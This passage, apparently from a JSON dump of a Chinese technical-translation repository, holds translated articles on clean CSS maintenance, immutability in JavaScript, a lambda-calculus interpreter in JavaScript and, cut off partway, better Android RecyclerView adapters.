最新特性的忠实拥趸，是的，我喜欢去体验那些或多或少有着试验意味的技术。我认为网站设计和开发者都应该有勇气使用这些技术，并且不光是在开发环境中，也要在生产环境中使用。\n\n然而，这也要求你在网站开发过程中学习更多合理的方法。你需要选择你的网站支持哪些浏览器，光是支持最新版的浏览器是不行的，你必须确保网站在很多浏览器上都可用。比如，我通常比较注重 IE11+、Google Chrome 49+、Firefox 49+ 和 Safari 9+ 浏览器的使用情况，我会在这些浏览器上测试项目并使用必要的前缀和后备方案。\n\n这仅仅是过程中的一部分，还有一个就是在改变浏览器的用法并实现了一些新功能的时候重新访问网站。当一些浏览器淡出用户视野之后，你应该移除为其而写的前缀和后备方案。如果想维护整洁的 CSS 代码，你应该定期这样做，否则你的 CSS 代码将会变得臃肿，将会充斥着没用的代码，并且浏览器在实现的同时会忽视这些前缀内容。\n\n## 避免臃肿的 CSS 代码\n\n不幸的是，这些前缀还存在你的 CSS 代码里，并造成了比实际需要更多的代码。对小项目来说，这并不是问题，但如果你在一个体量庞大的项目中使用 CSS 代码，这些前缀会给样式表增加许多 kB。就性能而言，每个 kB 都锱铢必较。另外，越来越多的人在使用移动设备访问网站，并不是所有人的网速都很快。\n\n矛盾的是，有些设备经常运行的浏览器需要所有的前缀内容，但是其网络状态却差到每个 kB 都举足轻重。于是，用户变得越来越没有耐心。我们学到了什么？你应该在开发过程中做到重复访问过时的前缀和后备方案并移除它们。这样，你就能维护整洁的 CSS 代码，网站也能获得很高的性能。你可以点击[这里](http://blog.alexdevero.com/website-maintenance-web-designers-pt1/)来查看更多网站维护的内容。\n\n# No.9: 让供应商更容易维护，自动执行\n\n移除老旧的前缀对维护整洁的 CSS 代码是非常重要的，然而，要实现这个目的也是很痛苦的。谁会愿意每两个月就检查一遍代码并且手动移除过时的代码呢？估计没人愿意。幸运的是，已经有更好的替代方案啦，我们可以将这项任务“外包”出去。\n\n有两种方法，第一个选择就是使用任务运行工具比如 [Gulp](http://gulpjs.com/)、[Grunt](http://gruntjs.com/) 或者 [Webpack](https://webpack.github.io/)。这些任务运行工具可以使用类似于 [autoprefixer](https://www.npmjs.com/package/autoprefixer) 的插件，多亏了这个插件你才可以外包这些任务。当你在使用这个插件开展任务时，它只在必要的时候才添加前缀，它还可以检查样式表文件并移除过时的前缀。你只需运行任务即可。\n\n第二个选择是使用名为 [prefix-free](https://leaverou.github.io/prefixfree/) 的小工具，它和 autoprefixer 还是有点点区别的。\n如我们所谈到的，autoprefixer 和任务运行工具一同工作，比如后处理器。而当你想要使用 prefix-free 时，你需要在页面的头部或者尾部将其引入，它将会在网站加载的时候运行并添加必要的前缀。有什么负面影响吗？又多了一个外部资源并且增加了带宽呗！如果用户遇到了 JavaScript 代码阻塞或者失效呢？然而，这总比不添加前缀好吧，而且这也比学习使用任务运行工具简单多了。\n\n想征求我的建议？因人而异！短期来看并且作为一个快速修复的方法，prefix-free 会是更好的选择。然而，我建议额外花一些时间去学习使用任务运行工具，这会让你学有所得。任务运行工具能够让你的生活变得简单让你的工作变得快捷。我最爱 Gulp了，你可以在 [Gulp for Web Designers](http://blog.alexdevero.com/gulp-web-designers-want-know/) 这篇文章中学习如何使用它。\n\n# N0.10: 管理你的技术债务\n\n我们来谈谈维护整洁的 CSS 代码的最后一个方法吧。你听过所谓的技术债务吗？每一次你为了解决问题而快速地 Hack 一些事情时，技术债务就发生了。当你使用容易实现的代码替代最全面的解决方案时，技术债务就增加了。它通常出现在一些需要快速移动和传输的项目中，换句话说，在初创公司中很常见。\n\n技术债务的问题不在于你创造了它，而在于很多时候你根本没有那么多时间去完美地解决它。有时候为了立竿见影你不得不使用非常差劲的方案，比如：假使你或者别人发现了网站或者产品上的一个大问题，而且网站或产品已经上线了。然后你需要迅速修复，否则就会失去客户，结果就会造成技术债务。\n\n如我所言，其问题不是发生了技术债务，真正的问题是你可能会忘记有这个东西。技术债务发生的时候，你应该只把它作为临时的解决方案。等到时间富裕的时候，你应该回过头来用更好的方法替换掉快速修复的方法。从长远上来看，你将能够维护整洁的 CSS 代码。\n\n不幸的是，我无法准确告诉你如何减少技术债务的发生，解决方法取决于当时的情况。但是，我可以给你三条建议：第一，利用某种方式积累工作内容，每次你使用投机取巧的解决方案时都要新建一个任务，好记性不如烂笔头。第二，花费部分时间来重新查看这些工作，并逐个解决。不要让技术债务和任务的数量积累得太大，否则将超出控制你将无从下手。第三，定期重构你的 CSS 代码。通过保持 [DRY](http://csswizardry.com/2013/07/writing-dryer-vanilla-css/) CSS 来维护整洁的代码，减少重复的代码，做到一次书写多次调用。\n\n## 写在文末\n\n恭喜，你已经读完了第二部分，同时也读完了这个迷你系列的文章！我希望谈论的这十条建议能够帮助你写出整洁的 CSS 代码，也希望你能够长期维护好它。我来告诉你一个秘密，书写整洁的 CSS 代码根本没什么困难，难的是你能够一直保持 CSS 代码的整洁。如果不只你一个人在写 CSS 代码，那将变得更加困难，但是只要怀着良好的目的去写 CSS 代码，事情就会变得简单了。\n"
  },
  {
    "path": "TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md",
    "content": "> * 原文地址：[Write safer and cleaner code by leveraging the power of “Immutability”\n](https://medium.freecodecamp.com/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability-7862df04b7b6)\n> * 原文作者：本文已获原作者 [Guido Schmitz](https://medium.freecodecamp.com/@guidsen) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[bambooom](https://github.com/bambooom),[xunge0613](https://github.com/xunge0613)\n\n# 利用 Immutability（不可变性）编写更为简洁高效的代码\n\n![](https://cdn-images-1.medium.com/max/2000/1*eO8-0-GT5ht8CR7TdK9knA.jpeg)\n\n图片来自[https://unsplash.com](https://unsplash.com)\n\n不可变性是函数式编程中的一部分，它可以使你写出更安全更简洁的代码。我将会通过一些 JavaScript 的例子来告诉你如何达到不可变性。\n\n**根据维基（ [地址](https://en.wikipedia.org/wiki/Immutable_object) ）：**\n\n> 一个不可变对象（不能被改变的对象）是指在创建之后其状态不能被更改的对象，这与在创建之后可以被更改的可变对象（可以被改变的对象）相反。在某些情况下，一个对象的外部状态如果从外部看来没有变化，那么即使它的一些内部属性更改了，仍被视为不可变对象。\n\n### 不可变的数组\n\n数组是了解不可变性如何运作的一个很好的起点。我们来看一下。\n\n```\nconst arrayA = [1, 2, 3];\narrayA.push(4);\n\nconst arrayB = arrayA;\narrayB.push(5);\n\nconsole.log(arrayA); // [1, 2, 3, 4, 5]\nconsole.log(arrayB); // [1, 2, 3, 4, 5]\n```\n\n例子中 **arrayB** 是 **arrayA** 的引用，所以如果我们通过 push 方法向任意数组中添加一个值 5，那么就会间接影响到另外一个，这个是违反不可变性的原则的。\n\n我们可以通过使用 [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 函数以达到不可变性(译者注：slice 相当于浅复制，要求数组中的每一项必须是简单数据类型。如 undefined、Number、null、String、Boolean 等)，进而优化我们的例子，此时代码的行为是完全不一样的。\n\n```\nconst arrayA = [1, 2, 3];\narrayA.push(4);\n\nconst arrayB = arrayA.slice(0);\narrayB.push(5);\n\nconsole.log(arrayA); // [1, 2, 3, 4]\nconsole.log(arrayB); // [1, 2, 3, 4, 5]\n```\n\n这才是我们要的，代码不改变其它的值。\n\n记住：当使用 [push](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) 来给数组添加一个值时，你在**改变**这个数组，因为这样可能会影响代码里的其他部分，所以你想要避免使变量值发生改变。[slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 会返回一个复制的数组。\n\n### 函数\n\n现在你知道了如何避免改变其它的值。那如何写「纯」的函数呢？纯函数是指不会产生任何副作用，也不会改变状态的函数。\n\n我们来看一个示例函数，其原理与前面数组示例的原理相同。首先我们写一个会改变其它值的函数，然后我们将这个函数优化为「纯」函数。\n\n```\nconst add = (arrayInput, value) => {\n  arrayInput.push(value);\n\n  return arrayInput;\n};\n```\n\n```\nconst array = [1, 2, 3];\n\nconsole.log(add(array, 4)); // [1, 2, 3, 4]\nconsole.log(add(array, 5)); // [1, 2, 3, 4, 5]\n```\n\n于是我们又一次**改变**输入的变量的值，这使得这个函数变得不可预测。在函数式编程的世界里，有一个关于函数的铁律：**函数对于相同的输入应当返回相同的值。**\n\n上面的函数违反了这一规则，每次我们调用 **add** 方法，它都会改变**数组**变量导致结果不一样。\n\n让我们来看看怎样修改 **add** 函数来使其不可变。\n\n```\nconst add = (arrayInput, value) => {\n  const copiedArray = arrayInput.slice(0);\n  copiedArray.push(value);\n\n  return copiedArray;\n};\n\nconst array = [1, 2, 3];\n```\n\n```\nconst resultA = add(array, 4);\nconsole.log(resultA); // [1, 2, 3, 4]\n```\n\n```\nconst resultB = add(array, 5);\nconsole.log(resultB); // [1, 2, 3, 5]\n```\n\n现在我们可以多次调用这个函数，且相同的输入获得相同的输出，与预期一致。这是因为我们不再改变 **array** 变量。我们把这个函数叫做“纯函数”。\n\n> **注意：** 你还可以使用 **concat**，来代替 **slice** 和 **push**。\n> 即：arrayInput.concat(value);\n\n我们还可以使用 ES6 的[扩展语法](https://developer.mozilla.org/nl/docs/Web/JavaScript/Reference/Operators/Spread_operator)，来简化函数。\n\n```\nconst add = (arrayInput, value) => […arrayInput, value];\n```\n\n### 并发\n\nNodeJS 的应用有一个叫并发的概念，并发操作是指两个计算可以同时的进行而不用管另外的一个。如果有两个线程，第二个计算不需要等待第一个完成即可开始。\n\n![](https://cdn-images-1.medium.com/max/800/1*LS1VkNditQwYMJvtIPAhdg.png)\n\n可视化的并发操作\n\nNodeJS 用事件循环机制使并发成为可能。事件循环重复接收事件，并一次触发一个监听该事件的处理程序。这个模型允许 NodeJS 的应用处理大规模的请求。如果你想学习更多，读一下[这篇关于事件循环的文章](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick)。\n\n不可变性跟并发又有什么关系呢？由于多个操作可能会并发地改变函数的作用域的值，这将会产生不可靠的输出和导致意想不到的结果。注意函数是否改变它作用域之外的值，因为这可能真的会很危险。\n\n### 下一步\n\n不可变性是学习函数式编程过程中的一个重要概念。你可以了解一下由 Facebook 开发者写的 [ImmutableJS](https://facebook.github.io/immutable-js)，这一个库提供一些不可变的数据结构，比如说 **Map**、**Set**、和 **List**。\n\n[![](http://i2.muimg.com/1949/d4d40e047da813b5.png)](https://medium.com/@dtinth/immutable-js-persistent-data-structures-and-structural-sharing-6d163fbd73d2)\n\n点击 💙 让更多的人可以在 Medium 上看见这篇文章，感谢阅读。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n"
  },
  {
    "path": "TODO/writing-a-lambda-calculus-interpreter-in-javascrip.md",
    "content": ">* 原文链接 : [A 𝝺-CALCULUS INTERPRETER](http://tadeuzagallo.com/blog/writing-a-lambda-calculus-interpreter-in-javascript/)\n* 原文作者 : [tadeuzagallo](http://tadeuzagallo.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [zhangzhaoqi](https://github.com/joddiy)\n* 校对者: [jamweak](https://github.com/jamweak), [Zheaoli](https://github.com/Zheaoli)\n\n# 用 Javascript 编写λ演算解释器\n\n最近，[我在推特上对λ演算非常着迷](https://twitter.com/tadeuzagallo/status/742836038264098817)，它是如此简单和强大。\n\n当然我之前听说过λ演算，但是直到我读了这本书 [Types and Programming Languages](https://www.cis.upenn.edu/~bcpierce/tapl) 我才真正了解了它的美丽之处。\n\n有许多其他的编译器、剖析器、解释器的教程，但是它们大多不会指导你遍览语言的全部实现，因为编程语言的实现需要进行大量的工作，然而λ演算是如此简单以至于我们可以完全讲解。\n\n首先，什么是λ演算？这里是一个 [Wikipedia](https://en.wikipedia.org/wiki/Lambda_calculus) 的描述：\n\n> λ演算（英语：lambda calculus，λ-calculus）是一套在数学逻辑上针对表达式计算的形式系统，主要使用变量绑定和替换来研究函数定义、函数应用。它是一种计算的统一模型，可以被用来模拟任何单步图灵机。数学家 Alonzo Church 在20世纪30年代首次提出了这个概念作为基础数学的一个研究。\n\n一个简单的λ演算程序如下：\n\n      (λx. λy. x) (λy. y) (λx. x)\n\n在λ演算仅仅有两种构造：函数定义（例如：一个函数声明）和函数应用（例如：函数调用）。有了这两种构造之后你就可以做任何计算了。\n\n## 1\\. 语法\n\n\n在介绍 Parser 之前，我们要做的第一件事情是了解一下所要 Parser 的语言的语法，这里是 [BNF](https://en.wikipedia.org/wiki/Backus–Naur_Form) ：\n\n    Term ::= Application\n            | LAMBDA LCID DOT Term\n\n    Application ::= Application Atom\n                   | Atom\n\n    Atom ::= LPAREN Term RPAREN\n            | LCID\n\n语法告诉了我们如何在 Parser 阶段查找 Token ，但是 Token 又是什么呢？\n\n## 2\\. Token\n\n你可能早已了解，Parser 并不在源码上操作。在 Parser 之前，源码会通过 `Lexer` 分词成 Token （就是在语法中全部大写的那些），这里是我们从上面语法中提取出的 Token ：\n\n    LPAREN: '('\n    RPAREN: ')'\n    LAMBDA: 'λ' // 为了方便我们也可以使用 '\\'\n    DOT: '.'\n    LCID: /[a-z][a-zA-Z]*/ // LCID 代表了小写字母的标识符\n                         // 例如：任何以小写字母开头的字符串\n\n我们会有一个 `Token` 类，包含一个 `type` 属性（上面中的一个），和一个可选的 `value` 属性（例如，`LCID` 中的字符串）：.\n\n      class Token {\n      constructor(type, value) {\n        this.type = type;\n        this.value = value;\n      }\n    };\n\n## 3\\. Lexer（词法分析器）\n\n现在我们可以使用上面定义的 Token 来写一个 `Lexer` ，以此为 Parser 处理程序提供一个良好的 _API_ 。\n\nLexer 中 Token 的构造部分不是很有趣：只是一个很大的 switch 语句来检查源码中下一个字符：\n\n    _nextToken() {\n      switch (c) {\n        case 'λ':\n        case '\\\\':\n          this._token = new Token(Token.LAMBDA);\n          break;\n\n        case '.':\n          this._token = new Token(Token.DOT);\n          break;\n\n        case '(':\n          this._token = new Token(Token.LPAREN);\n          break;\n\n        /* ... */\n      }\n    }\n\n这里是处理 Token 的一些助手方法：\n\n*   `next(Token)`：返回是否下一个 Token 匹配 `Token`；\n*   `skip(Token)`：和 `next` 相同, 但是如果匹配则跳过；\n*   `match(Token)`：断言 `next` 是 true, 并且 `skip`；\n*   `token(Token)`：断言 `next` 是 true, 并且将其返回。\n\n好了，让我们继续聊聊 `Parser` ！\n\n## 4\\. Parser\n\nParser 基本上是语法的拷贝。我们基于产生式规则的名字（ `::=` 左边的部分）给每个产生式规则创建了一个方法， `::=` 右边则遵循以下规则：如果字母都是大写的，那么就是一个_终结符_（例如：一个 Token ），并且我们可以使用 Lexer 处理它；如果右边是一个（首字母）大写的单词，那么则是另一个产生式，因此我们可以给它调用方法。当我们看到一个 `|` （读作 `or`）时，我们需要决定去使用哪边，具体取决于哪边匹配 Token 。\n\n语法中只有一个棘手的部分，手写的 Parser 通常是[递归下降](https://en.wikipedia.org/wiki/Recursive_descent_parser)（我们遇到过很多这样的情况），并且它们无法处理左递归。你可能注意到 `Application` 产生式的右边，在第一个位置包含了 `Application` 本身，所以我们只是遵循上一段提到的产生规则的话，当我们调用看到的所有产生式时将会导致无限递归。\n\n幸运的是左递归可以用以下技巧去掉：\n\n    Application ::= Atom Application'\n\n    Application' ::= Atom Application'\n                    | ε  # empty\n\n### 4.1\\. AST\n\n在 Parser 之后，我们需要以某种方式存储信息，因此我们将创造一个 [抽象语法树(AST)](https://en.wikipedia.org/wiki/Abstract_syntax_tree)。λ演算的语法树非常简单，只需要三种节点：Abstraction 、 Application 和 Identifier 。\n\n_Abstraction_ 包含 param 和 body 属性， _Application_ 包含左右两个部分， _Identifier_ 是一个左节点，仅仅包含它本身的字符串形式。\n\n这里是 AST 的一个简单的程序：\n\n    (λx. x) (λy. y)\n\n    Application {\n      abstraction: Abstraction {\n        param: Identifier { name: 'x' },\n        body: Identifier { name: 'x' }\n      },\n      value: Abstraction {\n        param: Identifier { name: 'y' },\n        body: Identifier { name: 'y' }\n      }\n    } \n\n### 4.2\\. Parser 实现\n\n现在我们有了 AST 节点，我们可以用它们去构建实际的树。这里是语法中基于产品规则的 Parser 方法。\n\n    term() {\n      // Term ::= LAMBDA LCID DOT Term\n      //        | Application\n      if (this.lexer.skip(Token.LAMBDA)) {\n        const id = new AST.Identifier(this.lexer.token(Token.LCID).value);\n        this.lexer.match(Token.DOT);\n        const term = this.term();\n        return new AST.Abstraction(id, term);\n      }  else {\n        return this.application();\n      }\n    }\n\n    application() {\n      // Application ::= Atom Application'\n      let lhs = this.atom();\n      while (true) {\n        // Application' ::= Atom Application'\n        //                | ε\n        const rhs = this.atom();\n        if (!rhs) {\n          return lhs;\n        } else {\n          lhs = new AST.Application(lhs, rhs);\n        }\n      }\n    }\n\n    atom() {\n      // Atom ::= LPAREN Term RPAREN\n      //        | LCID\n      if (this.lexer.skip(Token.LPAREN)) {\n        const term = this.term(Token.RPAREN);\n        this.lexer.match(Token.RPAREN);\n        return term;\n      } else if (this.lexer.next(Token.LCID)) {\n        const id = new AST.Identifier(this.lexer.token(Token.LCID).value);\n        return id;\n      } else {\n        return undefined;\n      }\n    }\n\n## 5\\. 求值\n\n现在我们可以使用 AST 来求值了，但是为了知道解释器的具体细节，我们首先许需要关注一下λ演算的求值规则。\n\n### 5.1\\. 求值规则\n\n首先我们需要定义什么是 Term （这可以从语法中猜测出来）以及什么是值。\n\nTerm 就是:\n\n    t1 t2   # Application\n\n    λx. t1  # Abstraction\n\n    x       # Identifier\n\n是的，这些跟 AST 中的节点很像，但是这些中的哪些是值？\n\n值就是有着最终形态的 Term ，例如：它们不能再被求值了。这种情况下，唯一的 Term 同时也是值的是 Abstraction （除非它被调用，否则不会求值）。\n\n实际的求值规则如下：\n\n\n\n    1)       t1 -> t1'\n         _________________\n\n          t1 t2 -> t1' t2\n\n    2)       t2 -> t2'\n         ________________\n\n          v1 t2 -> v1 t2'\n\n    3)    (λx. t12) v2 -> [x -> v2]t12\n\n\n\n这里是每条规则的介绍：\n\n1.  如果 `t1` 是一个求 `t1'` 值的 Term ，`t1 t2` 就是求 `t1' t2` 的值，例如：Application 的左边会先求值。\n2.  如果 `t2` 是一个求 `t2'` 值的 Term ，`v1 t2` 就是求 `v1 t2'` 的值，注意这里左边是 `v1` 而不是 `t1` 意味着它是一个值，不能再被求值了，例如：只有左边求值完之后才能给右边求值。\n3.  Application `(λx. t12) v2` 的结果，和把 `t12` 中所有出现 `x` 的地方替换为 `v2` 的结果是等效的。注意在 Application 求值前两边都变成了值。\n\n### 5.2\\. 解释器\n\n解释器是遵循求值规则把程序分解成值的部分。现在我们需要做的是把上面的规则翻译成 JavaScript ：\n\n首先，我们将定义简单的助手方法来告诉我们什么时候节点是一个值：\n\n<figure>\n\n    const isValue = node => node instanceof AST.Abstraction;\n\n</figure>\n\n规则就是：如果是一个 Abstraction ，它就是一个值，否则就不是。\n\n这里是解释器的一个片段 ：\n\n    const eval = (ast, context={}) => {\n      while (true) {\n        if (ast instanceof AST.Application) {\n          if (isValue(ast.lhs) && isValue(ast.rhs)) {\n            context[ast.lhs.param.name] = ast.rhs;\n            ast = eval(ast.lhs.body, context);\n          } else if (isValue(ast.lhs)) {\n            ast.rhs = eval(ast.rhs, Object.assign({}, context));\n          } else {\n            ast.lhs = eval(ast.lhs, context);\n          }\n        } else if (ast instanceof AST.Identifier) {\n           ast = context[ast.name];\n        } else {\n          return ast;\n        }\n      }\n    };\n\n这有一些复杂，但是如果你凝神细看的话，你能看到编码后的求值规则：\n\n*   首先，我们检查它是否是 Application ，如果是，就可以求值。\n    *   如果 Abstraction 两边都是值，我们可以简单地把所有出现 `x` 的地方替换为将要被使用的值；(3)\n    *   另外，如果左边是值， 我们给 Application 的右边求值；(2)\n    *   如果以上都没用到，那么我们给 Application 的左边求值；(1)\n*   现在，如果下一个节点是 Identifier ，我们可以简单地用值来替代。\n*   最后，如果没有规则适用 AST ，意味着它已经是一个值了，仅仅返回就行。\n\n另一件值得注意的是 Context ， Context 包含了名称和值之间的绑定关系（ AST 节点），例如，当你调用一个方法时，你传入了方法所期望的变量，并且用方法的主体进行了求值。\n\n克隆 Context 来确保一旦我们完成了右边的求值，限定的变量就会超出范围，因为我们仍然持有原始的 Context 。\n\n如果我们不克隆 Context 的话，Application 的右边绑定就会泄漏，并且可以被左边获取，这本来是不应该的。考虑下面场景：\n\n\n    (λx. y) ((λy. y) (λx. x))\n\n\n\n这很明显是一个非法的程序：在 Abstraction 最左边使用的 Identifier `y` 没有限制。但是让我们来看看如果我们不克隆 Context 的话求得的值是什么样的：\n\n左边已经是值了，所以我们给右边求值。它是一个 Application ，所以会绑定 `(λx .x)` 到 `y` ，并且给 `(λy. y)` 求值，其实就是 `y` 本身，所以也等价于 `(λx. x)` 。\n\n这样就完成了右边，把它变成了值，并且 `y` 现在超出了范围，因为我们退出了 `(λy. y)` ，但是我们在求值的时候没有克隆 Context，并且绑定泄漏了，同时 `y` 将有值 `(λx. x)` ，这最终导致了错误的程序结果。\n\n## 6\\. 输出\n\n现在我们基本做完了：我们已经可以把程序拆解为值，现在我们需要做的是用一种方式来表现值。\n\n一种简单的方式是在每个 AST 节点上都加上 `toString` 方法：\n\n    /* Abstraction */ toString() {\n      return `(λ${this.param.toString()}. ${this.body.toString()})`;\n    }\n\n    /* Application */ toString() {\n      return `${this.lhs.toString()} ${this.rhs.toString()}`;\n    }\n\n    /* Identifier */ toString() {\n      return this.name;\n    }\n\n现在我们可以在结果的根节点上调用 `toString` 方法，这将以字符串形式递归输出所有孩子节点。\n\n## 7\\. 整合\n\n我们需要一个运行脚本把所有部分整合起来，代码应该像下面这样：\n\n    // 假设你有一些代码\n    const source = '(λx. λy. x) (λx. x) (λy. y)';\n\n    // 把所有片段放在一起\n    const lexer = new Lexer(source);\n    const parser = new Parser(lexer);\n    const ast = parser.parse();\n    const result = Interpreter.eval(ast);\n\n    // 字符串化结果节点并输出\n    console.log(result.toString());\n\n## 源码\n\n所有的实现都能在 Github 找到：[github.com/tadeuzagallo/lc-js](https://github.com/tadeuzagallo/lc-js)\n\n#### 结束语\n\n非常感谢阅读，并且期待反馈:D\n\n"
  },
  {
    "path": "TODO/writing-better-adapters.md",
    "content": "> * 原文地址：[Writing Better Adapters](https://medium.com/@dpreussler/writing-better-adapters-1b09758407d2)\n* 原文作者：[Danny Preussler](https://medium.com/@dpreussler)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Siegen](https://github.com/siegeout)\n* 校对者：[Liz](https://github.com/lizwangying),[张拭心](https://github.com/shixinzhang)\n\n# 关于 Android Adapter，你的实现方式可能一直都有问题\n\n对Android 开发者来说实现 adapter 是最常见的任务之一。它是每一个列表的基础。看看市面上的应用，列表是大部分应用的基础。\n\n\n我们实现列表 view  的方式通常是一样的：一个 view 搭配一个装载着数据的 adapter。一直这样做可能会让我们忽视了我们正在写的东西，甚至是糟糕的代码。更糟的是，我们通常会一直重复那些糟糕的代码。\n\n\n是时候仔细看看这些 adapter 。\n\n### RecyclerView 的基本操作\n\nRecyclerView （ ListView 也适用）基本使用方式如下：\n\n*    创建 view  以及容纳 view  信息的 ViewHolder 。\n*    把 ViewHolder 与 adapter 装载的数据相绑定，这些数据可能是一系列的 model 类。\n\n\n\n实现这些操作一气呵成并且也不会出现太多错误。\n\n### 有着不同类型的 RecyclerView\n\n\n\n当你在你的 view  里需要有不同类型的 item（条目）时，实现 adapter 会变得更加困难。也许是因为你使用 CardView 或者你需要在你的控件里插入广告，使得基础的 item 有了不同类型的卡片样式。甚至你可能有一系列完全不同类型的对象（本文使用 [Kotlin](https://kotlinlang.org/) 来举例，但是它可以被轻松的应用到 Java 中，因为在这里没有使用 kotlin 特有的语法。））\n\n    interface Animal\n    class Mouse: Animal\n    class Duck: Animal\n    class Dog: Animal\n    class Car\n\n\n在这里，你有好几种动物，然后突然出现了一个完全不相干的汽车。。\n\n\n在这个使用情况里，你可能用不同的 view  类型用来展示。 这意味着你可能还需要在每个 ViewHolder 中解析不同的布局。API 把类型的标识码定义为 integers（整型数），这就是糟糕代码开始的地方！\n\n\n\n \n\n\n让我们来看一些代码。当你的 item 有两个以上的类型时，由于它们的默认实现总是返回零，你通常需要通过覆写这个方法来声明它们：\n\n    override fun getItemViewType(position: Int) : Int\n\n这个实现把类型转换成 Integer 值。\n\n\n下一步：创建 ViewHolder。你不得不实现下面这个方法：\n\n    override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): RecyclerView.ViewHolder\n\n\n\n在这个方法里，API 把你之前传递的 Integer 类型作为参数。接下来的实现非常常见：用一个 switch 语句，或者类似的东西（if-else），为每个给定类型创建对应的 ViewHolder 。\n\n\n不同的地方在于当绑定新创建的（或者复用的）ViewHolder 的时候：\n\n    override fun onBindViewHolder(holder: ViewHolder, position: Int): Any\n\n注意这里没有类型参数。如果有必要的话你可以使用 getItemViewType 方法，但通常这是没必要的。在所有 ViewHolder 的基类里，你可以做绑定 bind () 操作。\n\n### 槽糕之处\n\n\n所以现在的问题是什么？这样做看起来很容易实现，不是么？\n\n\n让我们再看一次 getItemViewType()。\n\n这个系统需要每个位置的类型。所以你不得不在你背后的 model 列表中，把一个 item 转成一个 view  类型。\n\n你可能想要这样写：\n\n    if (things.get(position) is Duck) {\n        return TYPE_DUCK\n    } else if (things.get(position) is Mouse) {\n        return TYPE_MOUSE\n    }\n\n这样写代码真的很糟糕。如果你的 ViewHolder 没有继承自一个共同基础类，这会变得更糟。当你绑定 ViewHolder 的时候，如果它们是完全不同的类型，在你的列表中你会有同样糟糕的代码。\n\n\n许多的 instance-of 检查和转型，这真是一团糟。这两个都是坏代码的味道，这种写法，通常被认为是[反面模式](http://www.yegor256.com/2015/04/02/class-casting-is-anti-pattern.html)的例子。\n\n许多年前，我在我的显示器上贴了许多的名言。其中的一个来自  Scott Meyers 写的[《Effective C++》 ](https://books.google.de/books/about/Effective_C++.html?id=eQq9AQAAQBAJ&source=kp_cover&redir_esc=y) 这本书（最好的IT书籍之一），它是这么说的：\n\n> 不管什么时候，只要你发现自己写的代码类似于 “ if the object is of type T1, then do something, but if it’s of type T2, then do something else ”，就给自己一耳光。\n\n\n如果你看到那些 adapter 的实现，应该有许多的耳光需要你去扇了。\n\n*   我们有类型检查并且我们有许多糟糕的转型。\n*   这完全不是面向对象的代码。面向对象编程刚刚庆祝了它的 50 岁生日，我们应该尽力去发挥它的长处。\n*   另外，我们实行那些 adapter 的方法违背了 [SOLID](https://en.wikipedia.org/wiki/SOLID_%28object-oriented_design%29) 原则中的“[开闭准则](https://en.wikipedia.org/wiki/Open/closed_principle)” 。它是这样说的：“对扩展开放，对修改封闭。” 当我们添加另一个类型或者 model 到我们的类中时，比如叫 Rabbit 和 RabbitViewHolder，我们不得不在 adapter 里改变许多的方法。 这是对开闭原则明显的违背。添加新对象不应该修改已存在的方法。\n\n\n### 让我们解决这个问题\n\n一个替代方案是在中间添加一个东西为我们做转换。这跟把你的 Class 类型放入到 Map 中一样简单并且可以通过函数调用来获取相应的类型。这个方案基本是这样的：\n\n    override fun getItemViewType(position: Int) : Int\n       = types.get(things.javaClass)\n\n现在它已经好多了，不是么？答案令人难过：这并不够好！这个方案只是把 instance-of 检查隐藏了起来而已。\n\n\n你会如何实现上文提到的 onBindViewholder() 方法？可能会是这样：if object is of type T1 then do.. else… ，这样你仍然需要给自己一耳光。\n\n\n\n我们的目标应该是在不修改 adapter 的情况下能够添加新的类型。\n\n\n\n所以：不要一开始就在 view  和 model 之间的 adapter 里创建你自己的类型映射。Google 建议使用布局 id。利用这个技巧，你可以简单的使用你正在填充的布局 id 而不需要人为制作类型映射。当然你可能会把另一个枚举类型保存成 [perfmatters](https://twitter.com/hashtag/perfmatters)。\n\n\n\n但是你仍然需要把它们互相关联到一起么？要怎么做呢？\n\n\n\n在最后你需要把 model 与 view  关联在一起。这里面的关联信息能够迁移到 model 里面吗？\n\n\n\n\n把 item 类型放进你的 model 里是很诱人的，就像这样。\n\n    fun getType() : Int = R.layout.item_duck\n\n\n这种 adapter 类型的实现方式是完全通用的：\n\n    override fun getItemViewType(pos: Int) = things[pos].getType()\n\n\n开闭原则被应用了，当添加新的 model 时无需做多余的改变。\n\n\n但是这样做，布局层完全混合在一起不说，还破坏了整体结构。实体直接对外展示，这样的展示方向是错误的。[这对我们来说是完全不能接受的](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html)。并且：在一个对象里面添加方法来询问它的类型，这不是面向对象。你只是再一次的隐藏了 instance-of 检查而已。\n\n### ViewModel\n\n\n解决这个问题的一个方法是：拥有独立的 ViewModel 而不是直接使用我们的 Model。我们的问题是我们的 model 是互不关联的，他们没有一个共同的基类：一辆车不是一个动物。这是对的。只有 presenter 层你需要在列表里展示它们。所以当你为 presenter 层展示这些 model 时没有这个问题，他们可以拥有一个共同的基类也就是 ViewModel。\n\n    abstract class ViewModel {\n        abstract fun type(): Int\n    }\n    class DuckViewModel(val duck: Duck): ViewModel() {\n        override fun type() = R.layout.duck\n    }\n    class CarViewModel(val car: Car): ViewModel() {\n        override fun type() = R.layout.car\n    